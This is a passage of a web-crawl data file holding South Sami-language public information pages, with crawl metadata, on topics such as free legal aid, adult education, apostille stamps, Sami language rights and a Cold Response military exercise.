reaktaviehkiem åadtjodh jis leerhketallijemaaksoen bïjre syökh. Aaj jeatjah aamhtesinie maahta muvhti veajkoej frijje reaktaviehkiem åadtjodh. Dastegh dov lea tjirkeme mij juridihkeles viehkiem maaksa, dle sïejhmedelaakan ih sïjhth frijje reaktaviehkiem åadtjoeh.\nBaalhka- jïh jeeluveraaste\nJuktie frijje reaktaviehkiem åadtjodh dle dov baalhka tjuara baalhkaraasti nuelesne årrodh reaktaviehkielaakesne. Fylhkenålma jïh dåapmestovlh maehtieh muvhti veajkoej laahpehtassem darjodh njoelkedassijste baalhka- jïh jeeluveraasti bïjre.\nSaaht man stoerre baalhka jïh jeeluve leah, maahtah namhtah reaktaviehkiem åadtjodh\n• maanavaarjelimmieaamhtesisnie Fylhkenmoenehtsasse sosijaale aamhtesidie\n• aamhtesinie Gïehtjedimmiekommisjovnese psykiske healsoevaarjelæmman, jïh reakta-aamhtesisnie olkesetjaelemen bïjre tjabrehtamme psykiske healsoevaarjelimmeste\n• aamhtesinie militærenyöjhkemen bïjre\n• aamhtesinie nyjsenedaaresjimmien bïjre\n• aamhtesinie pråvrahtallemen bïjre\n• aamhtesinie gusnie akte leerhketallije maaksoem kreava daaresjæjjeste\n• aamhtesinie maaksoen bïjre båajhtoeh bysvehtsgïetedimmien åvteste\n• juktie vuarasjidh mejtie edtja noerhkeme båhkarimmiem pollisese bieljelidh\n• juktie vuarjasjidh mejtie edtja aamhtesem almetjeåesiestimmien bïjre pollisese bieljelidh\nJïjtsemaaksoe\nJis frijje reaktaviehkiem dåastoeh, edtjh åejvienjoelkedassine jïjtsemaaksoem viehkeste maeksedh. Ij naan jïjtsemaaksoe aamhtesinie gusnie frijje reaktaviehkie vaadtasåvva ovjearohke baalhkeste jïh jeeluvistie. Vaallah edtjh jïjtsemaaksoem maeksedh jis dov fïerhten jaepien bruttobaalhka lea unnebe goh 100 000 kråvnah.\nAamhtesinie frijje reaktaraerine dle jïjtsemaaksoe ikth dïhte byögkeles salæremaaksoe (1020 kråvnah tsiengelen 2018). Aamhtesnie frijje aamhtesejuhteminie jïjtsemaaksoe lea 25 prosenth gaajhkijste maaksojste (jeenjemes vïjhth salæremaaksoe). Advokaate jïjtsemaaksoem datneste kreava.\nFrijje reaktaviehkie ålkoelaantesne\nOslo jïh Akershusen Fylhkenålma gaajhkh ohtsemh frijje reaktaviehkien bïjre ålkoelaantesene gïetede.","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/www.fylkesmannen.no\/sma\/Oslo-jih-Akershusen\/Almetjh-jih-siebriedahke\/Frijje-reaktaviehkie\/","date":"2018-06-17T21:52:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267859817.15\/warc\/CC-MAIN-20180617213237-20180617233237-00072.warc.gz","language":"sma","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":36,"top_langs":"{\"sma_Latn_score\": 1.0000073909759521}","num_words":297,"character_repetition_ratio":0.14,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lïerehtimmiereakta\nGeerve almetjh mah maadthskuvlem tjïrrehtamme, men eah jåarhkeööhpehtimmiem, maehtieh reaktam utnedh namhtah lïerehtimmiem åadtjodh. Dam åadtjoeh dehtie jaepeste dah 25 jaepieh illieh.\nOhtseme\nGeerve almetjh mah faalenassem sijhtieh geervelïerehtimmien bïjre edtjieh ohtsemegoeresne ohtsedh, dam seedtedh sov lïhkemes jåarhkeskuvlese, jïh baalte bïejedh kopijh vihtienassijste, væhnadassijste, kuvsjevihtiestimmijste, j.pl. Uvtemes ohtsememierie lea njoktjen 1.b. fïerhten jaepien. Daah ohtsemh sijhtieh stuvrije årrodh mubpien jaepien faalenassese, men gåarede ohtsedh abpe jaepien.\nRealmaahtoevuarjasjimmie\nGaajhkesh mah dam bijjielisnie neebneme lïerehtimmiereaktam utnieh namhtah realmaahtoevuarjasjimmiem åadtjoeh mij vuesehte maam lïerehtimmide ohtsije tjuara utnedh jis edtja vaajteles galhkuvemaahtoem jaksedh. Aktene realmaahtoevuarjasjimmesne vuarjesjeminie mejtie maahta dam aarebi haarjanimmiem, lïerehtimmiem jïh jeatjah dååjrehtimmiem jååhkesjidh goh seammavyörtegs dej faagigujmie jåarhkeööhpehtimmesne.\nLïerehtimmie\nLïerehtimmie vadtasåvva jïjtsh dåehkine geerve almetjidie. Maahta dam barkojne aktanidh, jïh lea öörnedamme goh faagetjåanghkoeh, jïjtjestudijume jïh bïhkedimmie\/ laavenjasseloeteme nedten tjïrrh. Åajvahkommes dle faalenassh sïejhme skuvlejaepiem dåeriedieh.\nÖörnedimmie\nNoerhte-Tröönde lagesne njieljie mijjen jåarhkeskuvlijste dïedtem utnieh geervelïerehtimmiefaalenassen åvteste fïereguhten regijovnesne. Daah leah Olav Duun, Stïentje, Verdal jïh Ole Vig jåarhkeskuvlh. Gaajhkh jeatjah fylhkentjïelten jåarhkeskuvlh ohtsijem viehkehte sïejhme bïhkedimmine, ohtseminie viehkehte j.pl. men doh neebneme njieljie skuvlh dïedtem utnieh dovne realmaahtoem vuarjasjidh jïh gaajhkh lïerehtimmiefaalenassh tjïrrehtidh.\nGovlehtallemebïevnesh leah daesnie, jïh akte åenehks bïevnese reaktaj, ohtsemevuekien jïh öörnedimmien bïjre lea daennie faaktaplaeresne.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/www.ntfk.no\/Aarjelsaemien\/Oohpehtimmie\/Sider\/Geerveoohpehtimmie.aspx","date":"2018-06-23T02:36:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864919.43\/warc\/CC-MAIN-20180623015758-20180623035758-00112.warc.gz","language":"sma","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000053644180298}","num_words":197,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaajhkh tjïelth jïh fylhkentjïelth edtjieh aktem pedagogeles-psykologeles dïenesjem (daaroen PPT) utnedh. Noerhte-Trööndelagesne ovmessie öörnedimmieh utnebe:\nTjïelten\/gasketjïelten, fylhkentjïelten, jallh akte tjïrrh-juhtije dïenesje mij maanaj-jïh noerigujmie barka aarhskuvleaalterisnie, maadtskuvlesne, jåarhkeööhpehtimmesne jïh geerve almetjigujmie.\nPPT akte faalenasse\nPPT akte faalenasse dovne ööhpehtimmiesuarkan jïh maanide, noeride jïh geerve almetjidie mah sjïere daerpiesvoeth utnieh lïerehtimmesne aarhskuvleaalterisnie, skuvlesne jïh learoetsiehkesne sïeltine (learoekandidaath\/lïerehtæjjah).\nPPT raereste\nPPT raereste jïh bïhkede gosse dåeriesmoerh, mah leah dovne persovneles, sosijale jïh faageles.\nPPT edtja viehkiehtidh\nPPT edtja maanagiertem jïh skuvlem maahtoeevtiedimmine jïh åårganisajovneevtiedimmine viehkiehtidh, juktie buerebelaakan sjïehteladtedh aarhskuvlemaanide jïh learoehkidie sjïere daerpiesvoetigujmie.\nPPT akte maehteles suerkie\nPPT akte maehteles suerkie gosse daerpies sjïerepedagogeles viehkine, jïh aaj sjïereööhpehtimmie, tsaekeme sjïere prijoriteradamme Jåa1, syökeme reaktan bïjre göökte vielie jaepieh jåarhkesööhpehtimmesne, syökeme væhtagïelelïerehtimmien bïjre, punktetjaelemelïerehtimmie jïh vielie.\nBarkijh PPT'sne sjeavohtsvoetediedtem utnieh\nDah råajvarimmieh evtiesuvvieh aktene laavenjostosne maanagïertine, skuvline, learohkigujmie jïh eejhtegigujmie\/dejgujmie mah eejhtegi åvteste.\nGuktie govlehtalledh?\nSïejhmemes dah learohkh jïh lïerehtæjjah\/learoekandidaath govlehtellieh raeriestæjjan, lohkehtæjjan jallh faagen åvtehken tjïrrh. Eejhtegh mah maanah utnieh aarhskuvleaalterisnie jïh learohkh maadthskuvlesne jïh learohkh jåarhkeskuvlesne maehtieh aaj ryöktesth govlehtalledh.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/www.ntfk.no\/Aarjelsaemien\/Oohpehtimmie\/Sider\/Pedagogeles.psykologeles.dienesje.aspx","date":"2018-06-23T02:32:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864919.43\/warc\/CC-MAIN-20180623015758-20180623035758-00240.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":169,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïeh\nDaelie haarjanimmiem Cold Response 2016 soejkesjeminie\n15.000 dåaroenïerigujmie 14 nasjovnijste. Doh nasjovnh, mah lissine Nöörjese,\ndåaroenïerh haarjanimmesne utnieh leah Belgije, Canada, Danmaarhke,\nFrankrijhke, Latvije, Nederlaante, Polen, Sveerje, USA, Tysklaante jïh\nStoerrebritannije.\nMij\nCold Response 2016 lea akte nöörjen haarjanimmie, gusnie mijjieh goh gåassoehtæjjanasjovne\nbööredibie ektieguejmieh meatan årrodh. Ulmie lea aaptsah haassehke neavroetsiehkine\nhaarjanidh krïevije daelvievearaldisnie jïh daelviedaelhkine.\nMan åvteste\nCold Response 2016 lea akte vihkeles haarjanimmie mij sjïehteladta ihke dåaroenïerh\novmessie nasjovnijste åadtjoeh aktene gaskenasjovnaale byjresisnie haarjanidh.\nLissine dejtie krïevije veareldetsiehkide, dåaroenïerh ovmessie nasjovnijste\nåadtjoeh haarjanidh tjåenghkies gielem jïh vuekieh haalvedh. Naemhtie dovne Nöörje\njïh laavenjostoelaanth sijhtieh buerebe reejrehtamme årrodh ektesne tjåadtjodh dastegh\nakte neavroetsiehkie sjædta.\nVihkeles daatovh\nHaarjanimmie aalka goevten 29.b. jïh vaasa njoktjen 22.b. raajan, jïh lea golme\nbieline juakeme. Akte soejkesjimmieboelhke mij vaasa goevten 29.b. raejeste\nnjoktjen 1.b. raajan. Jïjtjehke feeltedïenesjehaarjanimmie (åejviebielie) vaasa\nnjoktjen 2.b. raejeste 9.b. raajan, jïh akte galhkuveboelhke mij vaasa njoktjen\n10.b. raejeste njoktjen 22.b. raajan.\nMijjieh dov viehkiem daarpesjibie\nMijjieh birrebe gaajhkesh dovnesh dejtie militæære darjoemidie jïh mïerhkide krööhkestidh\nmah sijhtieh våajnoes sjïdtedh geajnoej mietie. Jis dov leah gåetien kreekh mah\nleah ålkone byörh vuarjasjidh dejtie gåetien sisnie utnedh. Bïeljelh maaje\ndastegh dajvh mah gijjiem nåakelaakan tööllieh, tjaetsiegaaltiji, laategi jïh\njeatjah prååsehke sijjiej bïjre. Gaskesadth dastegh earjoehtimmieh jïh loejhteladtemem\neatnamisnie vueptesth haarjanimmien gaavhtan.","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/forsvaret.no\/fakta\/aktivitet\/ovelser\/cold-response\/samisk","date":"2018-06-23T14:14:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267865081.23\/warc\/CC-MAIN-20180623132619-20180623152619-00432.warc.gz","language":"sma","language_score":0.9999984503,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999984502792358}","num_words":206,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.131,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NRK edtja aktem gamte faalenassem hoksedh programmijste jïh dïenesjijstie mah saemien gïelem, kultuvrem jïh identiteetem nænnoestehtieh.\nNRKen aajkoe lea sïejhmekringkastingem faalehtidh gaajhkide Nöörjen årroejidie raadijovisnie, maajhvååjnesisnie , gaskeviermesne jïh dejnie jeatjah orre meedijesijjine.\nNRKen nænnoestimmine, mah leah dïhte våarome NRKen nasjovnaale jïh regijovnaale programmebarkose, dle vihtiestamme NRK sov åejviebarkosne edtja joekoen leavloem bïejedh sov råållese goh evtiedæjja jïh faalije nöörjen jïh saemien kåansteste jïh kultuvreste.\nDaan sisnie akte byjhkesjimmie NRK sæjhta aktem vihkeles råållam utnedh juktie saemien gïelem, kultuvrem jïh identiteetem vaarjelidh jïh evtiedidh.","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/www.nrk.no\/sapmi\/om\/5.-nrkn-diedte-saemiej-avteste-1.11309904","date":"2018-06-18T23:23:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267861456.51\/warc\/CC-MAIN-20180618222556-20180619002556-00616.warc.gz","language":"sma","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000085830688477}","num_words":83,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.205,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Apostillesteempele tjaatseginie\nJis akte nöörjen tjaatsege edtja faamosne årrodh ålkoelaantesne , dle apostillesteempele daerpies. Åvtelen akte tjaatsege maahta apostillesteempelem åadtjodh, dle tjuara voestegh notarial- vihtiestamme årrodh, daate sæjhta jiehtedh akte notarius publicus (embeteålma mij dïedtem åtna såemies byögkeles, rïekteles dahkoej åvteste) tjuara tjaatsegasse nommevæhtam jïh steempelem bïejedh institusjovnen embetesteempelinie (daamtaj akte læjjonesteempele). Vihkeles nomme jïh tihtele leah tjïelkelaakan tjaalasovveme, trygkeme bokstaavigujmie jallh blokkbokstaavigujmie nommevæhtan nuelesne.\nApostillesteempele ij sisvegem tjaatsegisnie vihtesth, men nænnoste notarius publicusen nommevæhta lea rïektes. Daate legaliseringe gohtjesåvva.\nFylhkenålma tjaatsegh legaliserede mejtie edtja ålkolaantesne nåhtadidh, daate sæjhta jiehtedh tjaatsegh mejtie edtja laantine nåhtadidh mah Haag-konvensjovnem ratifiseradamme.\nÅlkoerijhkedepartemeente (ÅD) aktem orrestamme læstoem daej laantigujmie åtna. ÅD aaj bïevnesh åtna tjaatsegi bïjre mejtie edtja nåhtadidh dejnie laantine mah eah leah Haag-konvensjovnem ratifiseradamme. Tjaatsegh mejtie edtja Noerhtelaantine nåhtadidh, eah apostillesteempelem daarpesjh. Dellie nuekies aktine notarialnænnoestimmine.","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/www.fylkesmannen.no\/sma\/Oslo-jih-Akershusen\/Almetjh-jih-siebriedahke\/Apostillesteempele-tjaatseginie\/","date":"2018-06-20T17:32:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267863830.1\/warc\/CC-MAIN-20180620163310-20180620183310-00044.warc.gz","language":"sma","language_score":0.9999639988,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9999639987945557}","num_words":133,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Snåase tjïelte jïh Noerhte-Trøøndelaagen fylhkentjïelte leah guektiengïelen tsiengelen 1. biejjien 2008 raejeste, jïh Snåase tjïelte lea dehtie miereste meatan sjidteme reeremedajven saemien gïelese. Daate lea akte histovrijes heannadimmie åarjelsaemien gïelese jïh kultuvrese, Snåasen tjïeltese jïh Noerhte-Trøøndelaagen fylhkese. Maam dïhte sæjhta jiehtedh fylhkentjïeltese?\nTjaaleldh saadtegh \/aamhtsh åarjelsaemien sïjhtebe åarjelsaemien gïelesne vaestiedidh. Dåastoe-almetjh jïh dah ovmessie darjoeh sïjhtieh saerniestimmieh åadtjodh dej orre krïevemi bïjre, guktie dah bøøremes goh gåarede, maehtieh hoksehtimmiem vedtedh dejtie mah åarjelsaemien soptsestieh. Bïevnesh åejvieoksesne jïh dåastoesijjesne sïjhtieh åarjelsaemien gïelesne båetedh.","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/www.trondelagfylke.no\/aarjelsaemien\/","date":"2018-06-18T04:06:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267860041.64\/warc\/CC-MAIN-20180618031628-20180618051628-00536.warc.gz","language":"sma","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000066757202148}","num_words":80,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.163,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Healsoe, svïhtjeme jih ov-messie saavremevuekieh edtja noeride eadtjaldehtedh jih aelkedh svïhtjedh. Daan aejkien dah geerve noerh, Saadteskenjuanesne (Saxnäs), Sveerjesne gaavnesjieh, ruffien 5.-7. b. 2015. . Gïelem nastedh jih Raarvihken tjïelte jih dah guektien gielen tjieltiej ektine, Sveerjesne, daam åarjelsaemien gïele-biesie hïeljem øørnieh. Healsoe jih saavreme vihkeles gaajkesidie, Gïelem nastedh åejvie, Sara Marja Magga bïevnede.\n– Daate healsoe vihkeles aamhtese gaajhkesidie. Daejrebe hov daate saavreme, maahta viehkiedidh dejtie mah barkoes utnieh, daejnie psykiske healsoene. Dellie daate saavreme vihkeles viehkie sjædta, Magga jeahta.\nBihkedidh guktie maahta aelhkies-laakan saavredh.\nDaesnie edtjieh væjkeles almetjh bihkedidh guktie edtjieh eensi-laakan saavredh, saavreme dirregh nuhtjedh, buerkiestimmie man vihkeles dihte beabpmoe gosse jijnjem svïhtjeminie. Bihkedimmie guktie edtja kråahpem myøvhkedidh, åedtjijde daanjedh, jih vïtnedimmie guktie kråahpe edtja utniehtidh jih vihkelommes åtna buerien åssjalommes gosse aalka saavredh.\n– Ij daarpesjh saavreme- tjiehtjelem jis edtjh saavredh, daelie edtjieh vaejkeles almetjh bïhkedieh guktie maahta aelkies-laakan saavredh, viehkie dirregidie vuesiehtidh, Magga jeahta.\nJijnjesh båatieh.\nLuhkie vijhte saemien noereh sijhtieh båetedh jih Magga bievnede sijjieh ennje gååvnese.\n– Fuehpies tijjie gaajhkesidie, tjåanghkoeh dusnie jih daesnie jih manne daan geerjene daan jijnjesh læjhkan Saadteskenjuanese båetieh. Ennje sijjieh gååvnese jis gieh vielie sijhtieh båetedh, Magga jeahta.\nDah mah edtjieh saavremen bijre bïhkedidh leah Laara Dunfjeld, Malin Wilks jih Johan Martin Steinfjell.\n- Lohkh aaj:","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/www.nrk.no\/sapmi\/murriedimmie-hielje-noeride-1.12391328","date":"2018-06-24T20:49:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267867055.95\/warc\/CC-MAIN-20180624195735-20180624215735-00432.warc.gz","language":"sma","language_score":0.9999864101,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999864101409912}","num_words":201,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"FNs menneskerettighetskomité avga sine merknader til Norge vedrørende oppfølgingen av FNs konvensjon om sivile og politiske rettigheter den 5. april 2018\/ EN:n almetjereaktamoenehtse sov mïerhkesjimmieh Nöörjese vedti dan guhkiebasse barkoen bïjre EN:n konvensjovneste sivijle jïh politihkeles reaktaj bïjre voerhtjen 5.b. 2018.\nI rapporten, som dekker tidsrommet 2011-2017, fremkommer det at situasjonen for samene i forhold til menneskerettigheter og urfolks rettigheter gir grunnlag for bekymringer innenfor temaer som vold mot kvinner og jenter i samiske samfunn, hatefulle ytringer og hat kriminalitet blant annet på internett mot det samiske folket, diskriminering av samer, mangel på lærere i samisk språk, og at mange samiske barn ikke får bruke samisk språk i barnehager. Videre er det flere anbefalinger knyttet til det samiske folkets rett til landområder og ressursrettigheter. Særskilt er komiteen bekymret over manglende oppfølginger av Samerettsutvalgets utredning fra 2007 om samisk områder utenfor Finnmark.\nSametingsrådet utarbeidet tidligere i år sin alternative rapport om Norges oppfølgingen av FNs konvensjon om sivile og politiske rettigheter. Rådsmedlem Silje Karine Muotka var videre i dialog med FNs menneskerettighetskomité på den åpne høringen tilknyttet eksaminasjonen av Norge i Genève den 14.- 15. april.\n– Jeg deler FNs menneskerettighetskomité sin bekymringer om rettighetssituasjonen til samene i Norge. Samtidig er jeg fornøyd med at komiteen er så tydelig i anbefalingene. Vi kjenner oss igjen i innholdet. Dette er noe som Sametinget kontinuerlig har påpekt overfor skiftende regjeringer, sier president Aili Keskitalo.\n– Jeg har et berettiget håp om at regjeringen tar anbefalingene fra FNs menneskerettighetskomité på alvor, og at de tar nødvendige grep som sikrer at våre rettigheter gjennomføres og implementeres i politikkutforming og lovverk. Dagens regjeringen sier i Jeløya-plattformen at de skal styrke arbeidet for menneskerettigheter og rette mer oppmerksomhet mot sivile og politiske rettigheter. Fra Sametinget side vil vi jobbe målrettet overfor regjeringen med tilhørende statlige myndigheter for at anbefalingene fra FNs menneskerettighetskomité blir fulgt i praktisk politikk, sier Keskitalo.\nReektehtsisnie, mij boelhken 2011 – 2017 feerhmie, lea våajnoes saemiej tsiehkie almetjereaktaj jïh aalkoealmetji reaktaj bïjre våaromem vadta tjoeperdidh dej teemaj sisnjeli goh vædtsoesvoete nyjsenæjjaj jïh nïejti vööste saemien siebriedahkine, aassjoejiehtegh jïh aassjoekriminaliteete gaskem jeatjah gaskeviermesne saemien åålmegen vööste, sïerredimmie saemijste, lohkehtæjjah saemien gïeline fååtesieh jïh gellie saemien maanah eah åadtjoeh saemien nuhtjedh maanagïertine. Vijriesåbpoe dle jienebh juvnehtimmieh mah leah ektiedamme saemien åålmegen reaktese laantedajvide jïh vierhtiereaktide. Moenehtse joekoen tjoeperde dehtie faatoes guhkiebasse barkoste Saemiereaktamoenehtsen salkehtimmeste jaepeste 2007 saemien dajvi bïjre Finnmaarhken ålkolen.\nSaemiedigkieraerie sov alternatijve reektehtsem darjoeji aarebi daan jaepien Nöörjen guhkiebasse barkoen bïjre EN:n konvensjovneste sivijle jïh politihkeles reaktaj bïjre. Raerielïhtsege Silje Karine Muotka govlesadti EN:n almetjereaktamoenehtsinie dennie ræhpas govlehtimmesne ektiedamme eksaminasjovnese Nöörjeste Genevesne voerhtjen 14. 15. b.\n– Manne juakam EN:n almetjereaktamoenehtsen tjoeperdimmieh reaktatsiehkien bïjre saemide Nöörjesne. Seamma tïjjen madtjeles ihke moenehtse dan tjyölkehke sov juvnehtimmine. Mijjieh damtijibie sisvegisnie. Daate lea naakede maam Saemiedigkie daamtaj jïh ahkedh lea tjïertestamme dejtie ovmessie reerenasside, presidente Aili Keskitalo jeahta.\n– Mov lea akte tjarke håhkoe reerenasse juvnehtimmide EN;n almetjereaktamoenehtsistie itjmieslaakan vaalta, jïh dejtie daerpies dahkojde dorje mah gorredieh mijjen reaktah illesuvvieh jïh meatan vaaltasuvvieh politihkehammoedimmesne jïh laakine. Daan beajjetje reerenasse Jeløya-våaroemisnie jeahta dah edtjieh barkoem nænnoestehtedh almetjereaktaj åvteste jïh stuerebe tsåatskelesvoetem sivijle jïh politihkeles reaktaj vööste stuvredh. Saemiedigkien bieleste sïjhtebe ulmiestuvreldh reerenassen vööste jïh staateles åejvieladtjigujmie barkedh ihke juvnehtimmieh EN:n almetjereaktamoenehtsistie fulkesuvvieh dennie praktihkeles politihkesne, Keskitalo jeahta.","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/snasanytt.no\/2018\/04\/07\/fn-kritikk-oppfylling-urfolks-rettigheter-norge-fn-laejhteme-illemen-bijre-aalkoealmetji-reaktijste-noorjesne\/","date":"2018-06-23T21:32:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267865250.0\/warc\/CC-MAIN-20180623210406-20180623230406-00527.warc.gz","language":"sma","language_score":0.9729887247,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9729887247085571, \"nob_Latn_score\": 0.014348024502396584, \"sme_Latn_score\": 0.011498929932713509}","num_words":522,"character_repetition_ratio":0.074,"word_repetition_ratio":0.004,"special_characters_ratio":0.151,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":0.978,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Information på sydsamiska\nLiksjoe tjïelte saemie reeremedajvine tsïengelen 1 biejjiem 2010 sjïdti. Tjïelten barkose daate dovne orre haesteme jïh dïedte sjïdti. Aalkovijstie ibie nahkesjh gaajhkh krïbpesjh darjodh. Mohte edtjebe dorjedh daam maam buektebe jïh buerie molsehthlaakan saemiengïelese dovne åvteskuvlesne jïh Voereshoksne bigkedh.\nLiksjoen tjïelte lea aaj ektieraeriedåehkiem sjïehtedamme, gusnie sïjth, saemie siebrieh jïh saemiesiebrie leah meatan. Daam lea dorjeme dan åvteste saemie eajhnah sijhtieh gosse tjïelte barka saemiengïelem gorredidh jïh evtiedidh.\nTjïelten tjelmijste vuejnebe dam orre laakem jïh dah dïedth siebriedahkese juktie saemiengïelem evtiedidh jïh saemiej reakta maanah – jïh Voerehoksem jïjtsh gïelese goh vihkeles jïh vihties sïlle siebriedahken övtiedimmesne. Liksjoe lea abpe tïjjem byögkeles sijjie saemide orreme. Joe 1600-taalesne dah voestes maarhnah öörnesovvi gusnie saemieh jïh åesiestæjjah saelhtiegaedteste gaavnedieh jïh bovride dorjih. Dan mænngan lea maarhnavuekie jïeline orreme.\nGovhte sïjhth daelviebåatsoedajvh Liksjoen tjïeltesne utnieh, Gran, Ran(Raane), Upmejen tjeälddie, Vapsten, Vilhelmina norra jïh Maalegen skåajjesaemiensïjte, læjhkan eah naaken dejstie abpe tïjjem tjïeltesne årroeh.\nKontakta sidansvarig: Webmaster\nUppdaterad den 15 mars 2017","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/www.lycksele.se\/kommun-och-politik\/samiskt-forvaltningsomrade\/information-pa-sydsamiska\/","date":"2018-07-19T05:35:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676590559.95\/warc\/CC-MAIN-20180719051224-20180719071224-00111.warc.gz","language":"sma","language_score":0.9999969006,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"sma_Latn_score\": 0.9999969005584717}","num_words":156,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"«Steinfjell & Steinfjell» talkshow edtja seedtedh sjidtedh tsåahka 16.30-17.30\nDaan biejjien stoerreåabpa Inga Marja Steinfjell edtja mieriedidh mij edtja deahpadidh saadtegisnie. Jih onneåabpa Máret Steinfjell tjuara barre meatan årrodh.\nDihte saadtegem sjædta Sveerjen radijovisnie seedtedh tsåahka 15.00-16.00, mohte NRK Sápmi edtja dam ånnetji mænngan.\nDaesnie datne maahtah saadtegem govledh mijjen radijove-spieleresne: «Steinfjell & Steinfjell»\nVoestes aejkien dihte radijoveprogramme sjidti seedtedh lij Bienjedaelesne gåessie lij Lopme Naestie, jih daan biejjien saadtege lea dihte gåalmede.\nDatne maahtah goltelidh dah gøøkte saadtege mij orreme:","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.nrk.no\/sapmi\/goltelh-_steinfjell-jih-steinfjell_-daan-biejjien-1.12891619","date":"2018-07-17T00:25:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589536.40\/warc\/CC-MAIN-20180716232549-20180717012549-00079.warc.gz","language":"sma","language_score":0.9996569157,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9996569156646729}","num_words":77,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.039,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne akte Sveerjen vïjhte nasjonelle unnebelåhkojste; judarh, romerh, sveerjesåevmieladtjh, saemieh jïh torneladtjh? Dellie datne tjarkebe reaktah jïh nuepieh åtnah dov govlesadtemisnie mijjine.\nDatne reaktam åtnah dov reaktaj bïjre beavnasåvva, seamma mij nasjonelle unnebelåhkoegïelide datne soptsesth jïh gusnie Sveerjesne årroeh. Datne gie tjïeltesne årroeh reeremedajvesne aaj reaktam åtnah dov gïeline mijjine dovne njaalmeldh jïh tjaaleldh gaskesadtedh.\nDaesnie åadtjoeh daejredh mah gïeleldh reaktah åtnah jïh maam maahtah tjïelteste jïh jeatjah åejvieladtjijste krïevedh.\nMijjieh edtjebe dejtie nasjonelle unnebelåhkoegïelide vaarjelidh jïh evtiedidh jïh evtiedibie daejtie nasjonelle unnebelåhkoej nuepide dej kultuvrem gorredidh jïh evtiedidh Sveerjesne, maanaj evtiedimmieh kulturelle identiteetem jïh dej jïjtje 